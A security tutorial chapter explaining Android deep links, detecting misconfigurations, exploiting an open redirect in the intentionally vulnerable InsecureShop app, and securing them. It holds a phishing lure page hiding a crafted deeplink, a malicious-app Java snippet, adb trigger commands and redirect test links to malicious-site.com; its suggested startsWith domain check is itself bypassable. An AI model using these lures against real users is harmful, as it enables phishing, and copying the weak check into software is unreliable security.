Linking with Confidence: Securing Deep Links in Android Applications
13 min read
August 4, 2024
Table of contents
Introduction
Welcome to an in-depth exploration of deep links in Android! Deep links are powerful tools that allow web and mobile applications to direct users to specific content within an app, bypassing the main page. Mastering the intricacies of deep links is essential not only for enhancing user experience but also for identifying and mitigating security vulnerabilities. This chapter will equip you with the knowledge to exploit and secure deep links, ensuring your applications are resilient against potential threats such as open redirects and cross-app attacks.
Key Takeaways:
- Types of Deep Links: Traditional Deep Links and App Links (Universal Links) direct users to specific app content.
- Configuring Deep Links: Register deep links in the
AndroidManifest.xml
file to define which activities to open. - Detecting Vulnerabilities: Use static and dynamic analysis to identify broad configurations and improper data handling.
- Exploitation Example: Demonstrate vulnerabilities using a vulnerable app ("InsecureShop") and create a malicious webpage.
- Preventing Vulnerabilities: Validate and sanitize URL parameters, restrict broad intent filters, implement user confirmation, and use secure WebView settings.
Deep Links in Android
Deep links in Android are URLs that allow web and mobile applications to direct users to specific content within an app rather than the main page. They work similarly to web links in a browser but open a specific view or activity within a mobile app instead of a webpage.
There are two main types of deep links in Android:
- Traditional Deep Links: These links take the user directly to a specific part of the app if the app is already installed. An example of a traditional deep link is
myapp://details?id=123
, wheremyapp
is the URL scheme registered by the app, anddetails?id=123
is the path and parameters indicating the specific content to be displayed. - App Links (Universal Links): Introduced in Android 6.0 (Marshmallow), these links work for users who have the app installed as well as those who don’t. If the app is installed, the link opens the app directly to the corresponding view. If not, the user is redirected to the app store to download it. An example of an app link is
https://www.example.com/details?id=123
, whereexample.com
is the domain verified by the app.
The primary difference between App Links and traditional deep links in Android is that App Links use standard HTTP or HTTPS URLs, allowing them to function whether or not the app is installed on the user's device. If the app is installed, App Links open the app directly; if not, they open in a web browser or redirect the user to the app store. In contrast, traditional deep links use custom URL schemes and only work if the app is already installed, failing to function properly otherwise.
To use deep links in an Android application, it's necessary to register them in the AndroidManifest.xml
file. This registration allows the Android system to know which activities to open when a specific deep link is clicked.
<activity android:name=".DetailActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<!-- URL scheme for traditional deep link -->
<data android:scheme="myapp" android:host="details" />
</intent-filter>
</activity>
For an App Link:
<activity android:name=".DetailActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<!-- URL pattern for app link -->
<data android:scheme="https" android:host="www.example.com" android:pathPrefix="/details" />
</intent-filter>
</activity>
A summary of what the different fields mean is as follows:
- Activity Declaration: Specifies which activity handles the deep link. Example:
<activity android:name=".DetailActivity">
. - Intent Filter: Defines the criteria for starting the activity. Includes actions, categories, and data elements.
- Action:
android.intent.action.VIEW
indicates the activity can handle view actions, suitable for deep links. - Categories:
android.intent.category.DEFAULT
: Ensures the intent can be matched by the system.android.intent.category.BROWSABLE
: Allows the link to be opened from a web browser or other apps. - Data:Traditional Deep Links:
<data android:scheme="myapp" android:host="details" />
specifies a custom URL scheme and host.App Links:<data android:scheme="https" android:host="www.example.com" android:pathPrefix="/details" />
specifies a web URL pattern. - Auto Verify:
android:autoVerify="true"
(for App Links) directs the system to verify the app’s association with the domain, ensuring the app handles the URL if installed.
Example of a vulnerable Deeplink
Poorly configured deep links can introduce significant security vulnerabilities to an application. Understanding these weaknesses is crucial for identifying potential exploitation points. Let’s explore an example of such a configuration and understand why it's problematic.
Here’s an example from the AndroidManifest.xml
:
AndroidManifest.xml
:
<activity android:name=".DetailActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<!-- Overly broad URL scheme and path pattern -->
<data android:scheme="myapp" android:host="*" android:pathPattern=".*"/>
</intent-filter>
</activity>
This setup is problematic because it uses overly broad filters. Specifically, android:host="*"
and android:pathPattern=".*"
allow any host and any path to trigger the activity, which is too permissive and can inadvertently expose sensitive parts of the app.
In the corresponding activity, the handling of the deep link might look like this:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_detail);
// Handle the intent
Intent intent = getIntent();
Uri data = intent.getData();
if (data != null) {
String itemId = data.getQueryParameter("id");
// Directly use itemId without validation
// Redirect based on user input
String redirectUrl = data.getQueryParameter("redirect");
if (redirectUrl != null) {
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUrl));
startActivity(browserIntent);
}
}
}
Here, several issues arise. First, the itemId
parameter is used directly without any validation, opening the door to injection attacks if malicious data is provided. Second, the redirectUrl
parameter allows for redirection based on user input without validation, creating an open redirect vulnerability which can be exploited for phishing attacks.
Detecting Poorly Configured Deep Links
To identify poorly configured deep links, both static and dynamic analysis are necessary.
Static Analysis involves reviewing the AndroidManifest.xml
file and the activity code. Look for intent filters with overly broad configurations, such as android:host="*"
or android:pathPattern=".*"
. These are too permissive and should be avoided. Additionally, scrutinize how data from the intent is handled within the activity.
Dynamic Analysis involves testing the app by crafting various deep links to observe its behavior. For example, you might use a link like myapp://unauthorized/path
to test if the app improperly grants access to restricted areas. Another test could involve myapp://details?id=123&redirect=http://malicious-site.com
to check for open redirect vulnerabilities.
DeepLink Exploitation
Installing the vulnerable application
To demonstrate the attack, I will use a vulnerable application called "InsecureShop." The installation process is quite straightforward using ADB:
adb connect <ip>
adb install <apk>
Static Analysis
Next, to determine if the application is vulnerable to DeepLink, we can start with a brief static analysis of the code. To do this, we first need to decompile the APK. As we've done in previous chapters of this series, we can use tools like apkx
for this purpose. This tool will allow us to access the entire code of the APK.
apkx InsecureShop.apk
Alternatively, you can use jadx
, another APK decompiler. The advantage of this tool is that it features a GUI, allowing you to interact directly with the Java code. To start the decompilation process, simply navigate to File -> Open File and select the APK.
After this, as I mentioned earlier, we should first inspect the AndroidManifest.xml
file to check the configuration of the DeepLinks. Upon doing this, I noticed that the WebViewActivity
specifies the scheme and host but not the path. Because of this, if the code managing the activity doesn't implement proper controls over the link parameters, it could lead to vulnerabilities such as open redirects.
To locate the code for the activity, we can search for "WebViewActivity" using the search function in jadx by navigating to Navigation -> Text Search. Once the activity is found, we can examine the configuration used to invoke it.
The two most important settings are setJavaScriptEnabled
and setAllowUniversalAccessFromFileURLs
.
- setJavaScriptEnabled: This setting determines whether JavaScript is enabled within the WebView. Enabling JavaScript (
setJavaScriptEnabled(true)
) allows for interactive features and enhanced functionality in web content. However, it also opens up the risk of Cross-Site Scripting (XSS) attacks if not properly managed. - setAllowUniversalAccessFromFileURLs: This setting controls whether JavaScript running in a file URL context can access content from any origin, including other file URLs or remote servers. While it can be useful for certain functionalities, enabling this setting (
setAllowUniversalAccessFromFileURLs(true)
) can introduce severe security risks, such as arbitrary file access and cross-context scripting.
The code snippet is responsible for managing the WebView in the application, specifically handling different URI paths and loading URLs. Let's break down the functionality and discuss potential security implications.
- URI Handling:
- The code first checks the URI path provided in the intent. It distinguishes between two specific paths:
/web
and/webview
. - If the path is
/webview
, the code retrieves theurl
query parameter from the intent's data usinggetQueryParameter("url")
.
- The code first checks the URI path provided in the intent. It distinguishes between two specific paths:
- Domain Validation:
- The application checks if the extracted URL ends with the domain
insecureshopapp.com
. This check aims to ensure that the URL belongs to a trusted domain. - If the URL passes this domain validation, it is assigned to the
data
variable.
- The application checks if the extracted URL ends with the domain
- WebView Loading:
- If the
data
variable is notnull
, the URL is loaded into the WebView usingwebview.loadUrl(data);
. - Additionally, the URL is saved in the application preferences using
Prefs.INSTANCE.getInstance(this).setData(data);
.
- If the
The code's domain validation only checks if the URL ends with insecureshopapp.com
. This method can be bypassed if an attacker crafts a URL such as http://malicious-site.com?url=http://insecureshopapp.com
. This can lead to an open redirect vulnerability, where the user might be redirected to a malicious site, potentially compromising their data or security.
Dynamic Analysis
At this point, we have a solid understanding of how to exploit deeplinks within the application. Now, let's proceed to exploit the vulnerability. To do this, we will create a webpage containing a link that we control, which needs to be clicked by the victim. The link will be a specially crafted deeplink that, when clicked, will trigger the vulnerable activity in the insecureShop application. This deeplink will cause the app to load a URL of our choosing, potentially redirecting the user to a malicious site or triggering other unintended actions within the app.
With this purpose in mind, I'll use the following HTML code for the webpage. As you can see, it simply displays a GIF of Pikachu. However, when the user clicks on this GIF, they will be redirected to the insecureShop application via a deeplink.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Super Secure Site</title>
</head>
<body>
<h1>Click Here!</h1>
<a href="insecureshop://com.insecureshop/web?url=https://kayssel.com">
<img src="https://i.pinimg.com/originals/1f/0b/85/1f0b85bb750807778b1fe2444527fbd2.gif" alt="Pikachu GIF" width="200">
</a>
</body>
</html>
In this example, the a
tag contains a link with a custom URI scheme (insecureshop://
) that is intended to trigger the InsecureShop application. The url
parameter points to the malicious site (https://kayssel.com
). When a user clicks the Pikachu GIF, they will be redirected to this URL within the InsecureShop app, demonstrating how an open redirect can be exploited to direct users to potentially harmful sites.
Cross App Attacks
This Proof of Concept (PoC) demonstrates how to exploit the vulnerability using an open redirect attack. However, there are other types of attacks that can also be performed. For instance, an attacker could create another mobile application designed to launch the vulnerable activity in the insecureShop app. This type of attack is known as a "Cross-App" attack and operates in a similar manner.
In a Cross-App attack, the malicious app triggers the deeplink in the target application, potentially leading users to malicious websites or extracting sensitive data. This attack leverages the fact that deeplinks can be invoked by external applications, making it a powerful vector for exploitation.
There are two ways to simulate this attack. The first method, which is the most realistic, involves creating another app using Java. However, this approach is time-consuming and will not be demonstrated here. Nonetheless, here's a basic example of how such an implementation might look:
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class LaunchDeeplinkActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// The deeplink URL to trigger
String deeplinkUrl = "insecureshop://com.insecureshop/web?url=https://malicious-site.com";
// Create an intent to trigger the deeplink
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(deeplinkUrl));
// Check if the intent can be handled
if (intent.resolveActivity(getPackageManager()) != null) {
startActivity(intent);
} else {
// Handle the situation where the app is not installed or cannot handle the deeplink
System.out.println("No application can handle this intent.");
}
// Optionally finish the activity if no UI is needed
finish();
}
}
The second method involves simulating the attack using ADB, which is quicker and more practical for our demonstration purposes. The following ADB command can be used to trigger the same Deeplink from a connected device or emulator:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://kayssel.com"
This command starts an intent with the action android.intent.action.VIEW
and the specified data URI. It effectively simulates the deeplink being triggered by another application or a browser. This approach is particularly useful for testing and demonstrating vulnerabilities without the need to develop a separate app.
Securing Deep Links in Android
After exploring how deep links work and understanding the various attacks that can exploit them, let's now focus on how to secure them effectively. Here are two critical strategies to ensure secure deep link handling:
Validate and Sanitize URL Parameters: Ensure all parameters extracted from deep links are validated and sanitized to prevent injection attacks. This involves checking that the URL parameters conform to expected formats and originate from trusted sources.
Uri data = intent.getData();
if (data != null) {
String url = data.getQueryParameter("url");
if (url != null && url.startsWith("https://trusted-domain.com")) {
webview.loadUrl(url);
} else {
webview.loadUrl("https://trusted-domain.com/error");
}
}
Use Strict Intent Filters: Configure intent filters narrowly in the AndroidManifest.xml
to limit which URLs can trigger activities. This reduces the risk of unauthorized deep links activating sensitive parts of your app.
<activity android:name=".DetailActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="details"/>
</intent-filter>
</activity>
Conclusions
In this chapter, we delved into the workings of deep links in Android, highlighting their power to direct users to specific content within an app. We examined the two main types of deep links—Traditional Deep Links and App Links —and learned how they enhance user experience by providing seamless navigation to app-specific content.
However, with these conveniences come potential security risks. We explored various vulnerabilities associated with deep links, such as open redirects and cross-app attacks, and demonstrated how these can be exploited through both static and dynamic analysis. Using the "InsecureShop" app as a case study, we illustrated how attackers could manipulate improperly configured deep links to compromise user data and application integrity.
To mitigate these risks, we emphasized the importance of securing deep links through rigorous validation and sanitization of URL parameters, the use of strict intent filters, and implementing user confirmations for actions leading outside the app. Ensuring all URLs use HTTPS further protects against man-in-the-middle attacks, and regularly reviewing and updating security practices helps keep vulnerabilities at bay.
Resources
- Insecure Shop: An Introduction to Android App Exploitation. "HackMD." Available at: https://hackmd.io/@avila-pwn-notes/HyB1KnK7c
- OWASP Mobile Application Security Testing Guide (MASTG) - Deep Link Testing. "OWASP." Available at: https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0031/#static-analysis
- Tell Your Phone to Link Me at the Coffee Shop. "KnifeCoat." Available at: https://knifecoat.com/Posts/Tell+you+phone+to+link+me+at+the+coffee+shop
- Android Deep Links Exploitation. "Z4ki Medium." Available at: https://z4ki.medium.com/android-deep-links-exploitation-4abade4d45b4
- Android Developers Guide - Deep Links. "Android Developers." Available at: https://developer.android.com/training/app-links/deep-linking
- Security Best Practices for WebView. "Android Developers." Available at: https://developer.android.com/guide/webapps/webview#best-practices
- Jadx - Dex to Java Decompiler. "GitHub." Available at: https://github.com/skylot/jadx
- APKX - APK Decompiler. "GitHub." Available at: https://github.com/b-mueller/apkx
Chapters
Previous chapter
Next chapter